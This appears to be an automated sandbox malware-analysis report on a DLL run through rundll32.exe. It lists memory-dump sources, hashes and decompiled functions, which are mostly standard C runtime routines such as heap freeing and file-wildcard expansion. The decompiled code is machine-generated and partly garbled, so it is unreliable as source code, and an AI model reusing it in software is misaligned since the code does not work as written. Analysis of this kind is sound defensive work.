0x00000000
0x00000000
0x00000000
0x6ef61da6
0x6ef61d84
0x6ef61d8f
0x00000000
0x6ef61d8f
0x6ef61d41
0x6ef61d44
0x6ef61d47
0x6ef61d5a
0x6ef61d5d
0x6ef61d5f
0x6ef61d61
0x00000000
0x6ef61d61
0x6ef61d4d
0x6ef61d52
0x6ef61d54
0x00000000
0x00000000
0x00000000
0x6ef61d54
0x6ef61d2d
0x00000000

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EF61D22

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: d955c863f0614c06a5357d198c833f522de8a882e8043bf853e39c557514b648
Instruction ID: 92f493e46c9668f2bae6926b8d73d6c02e7ab174d5dcc087bca749b302ce43e8
Opcode Fuzzy Hash: d955c863f0614c06a5357d198c833f522de8a882e8043bf853e39c557514b648
Instruction Fuzzy Hash: B9219272614105BFEB509FE5CCA099B77BDAF413A97104A16F8A8D7150EB31EC5487A0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5F49B, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E6EF5F49B(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x6ef68124(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x6ef5f4a1
0x6ef5f4a5
0x6ef5f4b0
0x6ef5f4b8
0x6ef5f4c3
0x6ef5f4c9
0x6ef5f4cd
0x6ef5f4d4
0x6ef5f4da
0x6ef5f4da
0x6ef5f4dc
0x6ef5f4e1
0x00000000
0x6ef5f4e6
0x6ef5f4ef

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6EF5F44D,?,?,6EF5F415,?,00000001,?), ref: 6EF5F4B0
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EF5F4C3
FreeLibrary.KERNEL32(00000000,?,?,6EF5F44D,?,?,6EF5F415,?,00000001,?), ref: 6EF5F4E6

Strings

mscoree.dll, xrefs: 6EF5F4A9
CorExitProcess, xrefs: 6EF5F4BB

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 685d06de6e2fd2617bc17b46de1b6a42e7f30de37adc4897c8eed08611a6bc60
Instruction ID: 26c2da2836b21c19213c86cc39ee8aa7e6d5cd3f621d69c57432f8cd51718f3c
Opcode Fuzzy Hash: 685d06de6e2fd2617bc17b46de1b6a42e7f30de37adc4897c8eed08611a6bc60
Instruction Fuzzy Hash: B7F08232911658FBDFA1AB90CD29BBE7F78EF46311F104098F915E2250CB318E10DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EF64706, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF64706(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x6ef86790; // 0x6ef867e0
					if(_t23 != 0) {
						E6EF5FEFF(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x6ef86794; // 0x6ef9e7e8
					if(_t24 != 0) {
						E6EF5FEFF(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x6ef86798; // 0x6ef9e7e8
					if(_t25 != 0) {
						E6EF5FEFF(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x6ef867c0; // 0x6ef867e4
					if(_t26 != 0) {
						E6EF5FEFF(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x6ef867c4; // 0x6ef9e7ec
					if(_t27 != 0) {
						return E6EF5FEFF(_t6);
					}
				}
				return _t6;
			}

0x6ef6470c
0x6ef64711
0x6ef64715
0x6ef6471b
0x6ef6471e
0x6ef64723
0x6ef64727
0x6ef6472d
0x6ef64730
0x6ef64735
0x6ef64739
0x6ef6473f
0x6ef64742
0x6ef64747
0x6ef6474b
0x6ef64751
0x6ef64754
0x6ef64759
0x6ef6475a
0x6ef6475d
0x6ef64763
0x00000000
0x6ef6476b
0x6ef64763
0x6ef6476e

APIs

_free.LIBCMT ref: 6EF6471E

Part of subcall function 6EF5FEFF: HeapFree.KERNEL32(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF64730
_free.LIBCMT ref: 6EF64742
_free.LIBCMT ref: 6EF64754
_free.LIBCMT ref: 6EF64766

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b318116740b2d22a4e698730583c503748c95c1e9091e3bb30feb8c861cdf36d
Instruction ID: 0e798f9457faf222b457cd6b516a09d6c6987a10f23a33ffe1f3ca6e5b5149fb
Opcode Fuzzy Hash: b318116740b2d22a4e698730583c503748c95c1e9091e3bb30feb8c861cdf36d
Instruction Fuzzy Hash: B8F04F325246459B8A90EAD8D1F4C6B37EDFA627207B11C86F05ADBA00CF24F88046E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF61699, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EF61699(void* __ebx, void* __edi, void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t205;
				signed int _t207;
				signed int _t210;
				signed int _t212;
				signed int _t213;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int* _t220;
				signed int _t223;
				void* _t226;
				union _FINDEX_INFO_LEVELS _t227;
				intOrPtr _t230;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				intOrPtr* _t240;
				signed int _t242;
				intOrPtr* _t245;
				signed int _t250;
				signed int _t256;
				signed int _t258;
				signed int _t264;
				intOrPtr* _t265;
				signed int _t273;
				signed int _t275;
				intOrPtr* _t276;
				void* _t278;
				intOrPtr* _t279;
				signed int _t282;
				signed int _t285;
				signed int _t287;
				intOrPtr _t289;
				signed int* _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				void* _t302;
				void* _t303;
				signed int _t305;
				void* _t309;
				signed int _t310;
				void* _t311;
				void* _t312;
				void* _t313;
				signed int _t314;
				void* _t315;
				void* _t316;

				_t131 = _a8;
				_t312 = _t311 - 0x28;
				_t320 = _t131;
				if(_t131 != 0) {
					_t294 = _a4;
					_t223 = 0;
					 *_t131 = 0;
					_t285 = 0;
					_t132 =  *_t294;
					_t233 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t223;
						_t134 = _t233 - _t285;
						_t295 = _t285;
						_v12 = _t295;
						_t272 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t233 - _t295;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t297 =  !_t295 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t297;
						if(_t297 != 0) {
							_t214 = _t285;
							_t282 = _t223;
							do {
								_t265 =  *_t214;
								_t20 = _t265 + 1; // 0x1
								_v20 = _t20;
								do {
									_t216 =  *_t265;
									_t265 = _t265 + 1;
									__eflags = _t216;
								} while (_t216 != 0);
								_t223 = _t223 + 1 + _t265 - _v20;
								_t214 = _v12 + 4;
								_t282 = _t282 + 1;
								_v12 = _t214;
								__eflags = _t282 - _t297;
							} while (_t282 != _t297);
							_t272 = _v16;
							_v8 = _t223;
							_t223 = 0;
							__eflags = 0;
						}
						_t298 = E6EF5F7DC(_t136, _t272, _v8, 1);
						_t313 = _t312 + 0xc;
						__eflags = _t298;
						if(_t298 != 0) {
							_v12 = _t285;
							_t139 = _t298 + _v16 * 4;
							_t234 = _t139;
							_v28 = _t139;
							_t140 = _t285;
							_v16 = _t234;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t223;
								 *_a8 = _t298;
								_t299 = _t223;
								goto L25;
							} else {
								_t275 = _t298 - _t285;
								__eflags = _t275;
								_v32 = _t275;
								do {
									_t150 =  *_t140;
									_t276 = _t150;
									_v24 = _t150;
									_v20 = _t276 + 1;
									do {
										_t152 =  *_t276;
										_t276 = _t276 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t276 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E6EF64A43(_t234, _v28 - _t234 + _v8, _v24);
									_t313 = _t313 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										E6EF600F7();
										asm("int3");
										_t309 = _t313;
										_push(_t234);
										_t240 = _v72;
										_t65 = _t240 + 1; // 0x1
										_t278 = _t65;
										do {
											_t159 =  *_t240;
											_t240 = _t240 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t285);
										_t287 = _a8;
										_t242 = _t240 - _t278 + 1;
										_v12 = _t242;
										__eflags = _t242 -  !_t287;
										if(_t242 <=  !_t287) {
											_push(_t223);
											_push(_t298);
											_t68 = _t287 + 1; // 0x1
											_t226 = _t68 + _t242;
											_t302 = E6EF601B7(_t242, _t226, 1);
											__eflags = _t287;
											if(_t287 == 0) {
												L40:
												_push(_v12);
												_t226 = _t226 - _t287;
												_t164 = E6EF64A43(_t302 + _t287, _t226, _v0);
												_t314 = _t313 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t230 = _a12;
													_t207 = E6EF61C8B(_t230);
													_v12 = _t207;
													__eflags = _t207;
													if(_t207 == 0) {
														 *( *(_t230 + 4)) = _t302;
														_t305 = 0;
														_t77 = _t230 + 4;
														 *_t77 =  *(_t230 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E6EF5FEFF(_t302);
														_t305 = _v12;
													}
													E6EF5FEFF(0);
													_t210 = _t305;
													goto L37;
												}
											} else {
												_push(_t287);
												_t212 = E6EF64A43(_t302, _t226, _a4);
												_t314 = _t313 + 0x10;
												__eflags = _t212;
												if(_t212 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E6EF600F7();
													asm("int3");
													_push(_t309);
													_t310 = _t314;
													_t315 = _t314 - 0x298;
													_t166 =  *0x6ef8609c; // 0x1c6423b5
													_v124 = _t166 ^ _t310;
													_t245 = _v108;
													_t279 = _v104;
													_push(_t226);
													_push(0);
													_t289 = _v112;
													_v724 = _t279;
													__eflags = _t245 - _t289;
													if(_t245 != _t289) {
														while(1) {
															_t205 =  *_t245;
															__eflags = _t205 - 0x2f;
															if(_t205 == 0x2f) {
																break;
															}
															__eflags = _t205 - 0x5c;
															if(_t205 != 0x5c) {
																__eflags = _t205 - 0x3a;
																if(_t205 != 0x3a) {
																	_t245 = E6EF64A90(_t289, _t245);
																	__eflags = _t245 - _t289;
																	if(_t245 != _t289) {
																		continue;
																	}
																}
															}
															break;
														}
														_t279 = _v616;
													}
													_t168 =  *_t245;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t227 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t227;
														_v672 = _t227;
														_push(_t302);
														asm("sbb eax, eax");
														_v668 = _t227;
														_v664 = _t227;
														_v644 =  ~(_t169 & 0x000000ff) & _t245 - _t289 + 0x00000001;
														_v660 = _t227;
														_v656 = _t227;
														_t175 = E6EF6167A(_t245 - _t289 + 1, _t289,  &_v676, E6EF61B96(_t279, __eflags));
														_t316 = _t315 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t227,  &_v608, _t227, _t227, _t227);
														_t303 = _t179;
														__eflags = _t303 - 0xffffffff;
														if(_t303 != 0xffffffff) {
															_t250 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t250;
															_v648 = _t250 >> 2;
															do {
																_v640 = _t227;
																_v636 = _t227;
																_v632 = _t227;
																_v628 = _t227;
																_v624 = _t227;
																_v620 = _t227;
																_t185 = E6EF615AB( &(_v608.cFileName),  &_v640,  &_v609, E6EF61B96(_t279, __eflags));
																_t316 = _t316 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t289);
																	_push(_t188);
																	L33();
																	_t316 = _t316 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t227;
																		if(_v620 != _t227) {
																			E6EF5FEFF(_v632);
																			_t188 = _v652;
																		}
																		_t227 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t256 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t256;
																	if(_t256 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t256 - 0x2e;
																		if(_t256 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t227;
																			if( *((intOrPtr*)(_t188 + 2)) == _t227) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t303);
																goto L77;
																L68:
																__eflags = _v620 - _t227;
																if(_v620 != _t227) {
																	E6EF5FEFF(_v632);
																}
																__eflags = FindNextFileW(_t303,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t258 = _v648;
															_t280 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t258 - _t199;
															if(_t258 != _t199) {
																E6EF5EB90(_t227, _t289, _t303, _t280 + _t258 * 4, _t199 - _t258, 4, E6EF614E1);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t227);
															_push(_t227);
															_push(_t289);
															L33();
															_t227 = _t179;
														}
														L77:
														__eflags = _v656;
														if(_v656 != 0) {
															E6EF5FEFF(_v668);
														}
													} else {
														__eflags = _t245 - _t289 + 1;
														if(_t245 == _t289 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t279);
															_push(0);
															_push(0);
															_push(_t289);
															L33();
														}
													}
													__eflags = _v16 ^ _t310;
													return E6EF5C65E(_v16 ^ _t310);
												} else {
													goto L40;
												}
											}
										} else {
											_t210 = 0xc;
											L37:
											return _t210;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t213 = _v12;
									_t264 = _v16;
									 *((intOrPtr*)(_v32 + _t213)) = _t264;
									_t140 = _t213 + 4;
									_t234 = _t264 + _v20;
									_v16 = _t234;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t299 = _t298 | 0xffffffff;
							_v12 = _t299;
							L25:
							E6EF5FEFF(_t223);
							_pop(_t235);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t223;
							_t218 = E6EF64A50(_t132,  &_v8);
							_t235 =  *_t294;
							__eflags = _t218;
							if(_t218 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t218);
								_push(_t235);
								L46();
								_t312 = _t312 + 0xc;
								_v12 = _t218;
								_t299 = _t218;
							} else {
								_t219 =  &(_v608.cAlternateFileName);
								_push(_t219);
								_push(_t223);
								_push(_t223);
								_push(_t235);
								L33();
								_t299 = _t219;
								_t312 = _t312 + 0x10;
								_v12 = _t299;
							}
							__eflags = _t299;
							if(_t299 != 0) {
								break;
							}
							_t294 =  &(_a4[1]);
							_a4 = _t294;
							_t132 =  *_t294;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t285 = _v608.cAlternateFileName;
								_t233 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t285 = _v608.cAlternateFileName;
						L26:
						_t273 = _t285;
						_v32 = _t273;
						__eflags = _v40 - _t273;
						asm("sbb ecx, ecx");
						_t237 =  !_t235 & _v40 - _t273 + 0x00000003 >> 0x00000002;
						__eflags = _t237;
						_v28 = _t237;
						if(_t237 != 0) {
							_t301 = _t237;
							do {
								E6EF5FEFF( *_t285);
								_t223 = _t223 + 1;
								_t285 = _t285 + 4;
								__eflags = _t223 - _t301;
							} while (_t223 != _t301);
							_t285 = _v608.cAlternateFileName;
							_t299 = _v12;
						}
						E6EF5FEFF(_t285);
						goto L31;
					}
				} else {
					_t220 = E6EF601A4(_t320);
					_t299 = 0x16;
					 *_t220 = _t299;
					E6EF600E7();
					L31:
					return _t299;
				}
				L81:
			}

0x6ef6169e
0x6ef616a1
0x6ef616a5
0x6ef616a7
0x6ef616bd
0x6ef616c1
0x6ef616c4
0x6ef616c6
0x6ef616c8
0x6ef616ca
0x6ef616cc
0x6ef616cf
0x6ef616d2
0x6ef616d5
0x6ef616d7
0x6ef6173a
0x6ef6173c
0x6ef6173f
0x6ef61741
0x6ef61745
0x6ef6174e
0x6ef6174f
0x6ef61752
0x6ef61754
0x6ef61757
0x6ef6175b
0x6ef6175b
0x6ef6175d
0x6ef6175f
0x6ef61761
0x6ef61763
0x6ef61763
0x6ef61765
0x6ef61768
0x6ef6176b
0x6ef6176b
0x6ef6176d
0x6ef6176e
0x6ef6176e
0x6ef61779
0x6ef6177b
0x6ef6177e
0x6ef6177f
0x6ef61782
0x6ef61782
0x6ef61786
0x6ef61789
0x6ef6178c
0x6ef6178c
0x6ef6178c
0x6ef61799
0x6ef6179b
0x6ef6179e
0x6ef617a0
0x6ef617b8
0x6ef617bb
0x6ef617be
0x6ef617c0
0x6ef617c3
0x6ef617c5
0x6ef617c8
0x6ef617cb
0x6ef61828
0x6ef6182b
0x6ef6182e
0x6ef61830
0x00000000
0x6ef617cd
0x6ef617cf
0x6ef617cf
0x6ef617d1
0x6ef617d4
0x6ef617d4
0x6ef617d6
0x6ef617d8
0x6ef617de
0x6ef617e1
0x6ef617e1
0x6ef617e3
0x6ef617e4
0x6ef617e4
0x6ef617eb
0x6ef617ee
0x6ef617f2
0x6ef617ff
0x6ef61804
0x6ef61807
0x6ef61809
0x6ef6187f
0x6ef61880
0x6ef61881
0x6ef61882
0x6ef61883
0x6ef61884
0x6ef61889
0x6ef6188d
0x6ef6188f
0x6ef61890
0x6ef61893
0x6ef61893
0x6ef61896
0x6ef61896
0x6ef61898
0x6ef61899
0x6ef61899
0x6ef6189d
0x6ef6189e
0x6ef618a5
0x6ef618a8
0x6ef618ab
0x6ef618ad
0x6ef618b7
0x6ef618b8
0x6ef618b9
0x6ef618bc
0x6ef618c6
0x6ef618ca
0x6ef618cc
0x6ef618e0
0x6ef618e0
0x6ef618e3
0x6ef618ed
0x6ef618f2
0x6ef618f5
0x6ef618f7
0x00000000
0x6ef618f9
0x6ef618f9
0x6ef618fe
0x6ef61905
0x6ef61908
0x6ef6190a
0x6ef6191b
0x6ef6191d
0x6ef6191f
0x6ef6191f
0x6ef6191f
0x6ef6190c
0x6ef6190d
0x6ef61912
0x6ef61915
0x6ef61924
0x6ef6192a
0x00000000
0x6ef6192d
0x6ef618ce
0x6ef618ce
0x6ef618d4
0x6ef618d9
0x6ef618dc
0x6ef618de
0x6ef61930
0x6ef61932
0x6ef61933
0x6ef61934
0x6ef61935
0x6ef61936
0x6ef61937
0x6ef6193c
0x6ef6193f
0x6ef61940
0x6ef61942
0x6ef61948
0x6ef6194f
0x6ef61952
0x6ef61955
0x6ef61958
0x6ef61959
0x6ef6195a
0x6ef6195d
0x6ef61963
0x6ef61965
0x6ef61967
0x6ef61967
0x6ef61969
0x6ef6196b
0x00000000
0x00000000
0x6ef6196d
0x6ef6196f
0x6ef61971
0x6ef61973
0x6ef6197e
0x6ef61980
0x6ef61982
0x00000000
0x00000000
0x6ef61982
0x6ef61973
0x00000000
0x6ef6196f
0x6ef61984
0x6ef61984
0x6ef6198a
0x6ef6198c
0x6ef61992
0x6ef61994
0x6ef619b6
0x6ef619b6
0x6ef619b8
0x6ef619ba
0x6ef619c6
0x6ef619c6
0x6ef619bc
0x6ef619bc
0x6ef619be
0x00000000
0x6ef619c0
0x6ef619c0
0x6ef619c2
0x6ef619c4
0x00000000
0x00000000
0x6ef619c4
0x6ef619be
0x6ef619ce
0x6ef619d6
0x6ef619dc
0x6ef619dd
0x6ef619df
0x6ef619e7
0x6ef619ed
0x6ef619f3
0x6ef619f9
0x6ef61a0d
0x6ef61a12
0x6ef61a1d
0x6ef61a2d
0x6ef61a33
0x6ef61a35
0x6ef61a38
0x6ef61a5b
0x6ef61a5b
0x6ef61a60
0x6ef61a66
0x6ef61a66
0x6ef61a6c
0x6ef61a72
0x6ef61a78
0x6ef61a7e
0x6ef61a84
0x6ef61aa5
0x6ef61aaa
0x6ef61aaf
0x6ef61ab3
0x6ef61ab9
0x6ef61abc
0x6ef61acf
0x6ef61acf
0x6ef61ad5
0x6ef61adb
0x6ef61adc
0x6ef61add
0x6ef61ae2
0x6ef61ae5
0x6ef61aeb
0x6ef61aed
0x6ef61b4b
0x6ef61b51
0x6ef61b59
0x6ef61b5e
0x6ef61b64
0x6ef61b65
0x00000000
0x00000000
0x00000000
0x6ef61abe
0x6ef61abe
0x6ef61ac1
0x6ef61ac3
0x00000000
0x6ef61ac5
0x6ef61ac5
0x6ef61ac8
0x00000000
0x6ef61aca
0x6ef61aca
0x6ef61acd
0x00000000
0x00000000
0x00000000
0x00000000
0x6ef61acd
0x6ef61ac8
0x6ef61ac3
0x6ef61b67
0x6ef61b68
0x00000000
0x6ef61aef
0x6ef61aef
0x6ef61af5
0x6ef61afd
0x6ef61b02
0x6ef61b11
0x6ef61b11
0x6ef61b19
0x6ef61b1f
0x6ef61b25
0x6ef61b2c
0x6ef61b2f
0x6ef61b31
0x6ef61b41
0x6ef61b46
0x00000000
0x6ef61a3a
0x6ef61a3a
0x6ef61a40
0x6ef61a41
0x6ef61a42
0x6ef61a43
0x6ef61a4b
0x6ef61a4b
0x6ef61b6e
0x6ef61b6e
0x6ef61b76
0x6ef61b7e
0x6ef61b83
0x6ef61996
0x6ef61999
0x6ef6199b
0x6ef619b0
0x00000000
0x6ef6199d
0x6ef6199d
0x6ef619a0
0x6ef619a1
0x6ef619a2
0x6ef619a3
0x6ef619a8
0x6ef6199b
0x6ef61b8a
0x6ef61b95
0x00000000
0x00000000
0x00000000
0x6ef618de
0x6ef618af
0x6ef618b1
0x6ef618b2
0x6ef618b6
0x6ef618b6
0x00000000
0x00000000
0x00000000
0x00000000
0x6ef6180b
0x6ef6180b
0x6ef61811
0x6ef61814
0x6ef61817
0x6ef6181a
0x6ef6181d
0x6ef61820
0x6ef61823
0x6ef61823
0x00000000
0x6ef617d4
0x6ef617a2
0x6ef617a2
0x6ef617a5
0x6ef61832
0x6ef61833
0x6ef61838
0x00000000
0x6ef61838
0x6ef616d9
0x6ef616d9
0x6ef616dc
0x6ef616e4
0x6ef616e7
0x6ef616ee
0x6ef616f0
0x6ef616f2
0x6ef6170d
0x6ef6170e
0x6ef6170f
0x6ef61710
0x6ef61715
0x6ef61718
0x6ef6171b
0x6ef616f4
0x6ef616f4
0x6ef616f7
0x6ef616f8
0x6ef616f9
0x6ef616fa
0x6ef616fb
0x6ef61700
0x6ef61702
0x6ef61705
0x6ef61705
0x6ef6171d
0x6ef6171f
0x00000000
0x00000000
0x6ef61728
0x6ef6172b
0x6ef6172e
0x6ef61730
0x6ef61732
0x00000000
0x6ef61734
0x6ef61734
0x6ef61737
0x00000000
0x6ef61737
0x00000000
0x6ef61732
0x6ef617ad
0x6ef61839
0x6ef6183c
0x6ef61840
0x6ef61849
0x6ef6184c
0x6ef61850
0x6ef61850
0x6ef61852
0x6ef61855
0x6ef61857
0x6ef61859
0x6ef6185b
0x6ef61860
0x6ef61861
0x6ef61865
0x6ef61865
0x6ef61869
0x6ef6186c
0x6ef6186c
0x6ef61870
0x00000000
0x6ef61877
0x6ef616a9
0x6ef616a9
0x6ef616b0
0x6ef616b1
0x6ef616b3
0x6ef61878
0x6ef6187e
0x6ef6187e
0x00000000

APIs

_free.LIBCMT ref: 6EF61833

Strings

*?, xrefs: 6EF616DC

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 8c8d511e6ea196100512c12a7ea46039141ace5b87392d3855a92573c06a66c9
Instruction ID: a53b688220c79fea4119f39108fd42244d2c3e5f6eaabec2112f6f84b6cc2225
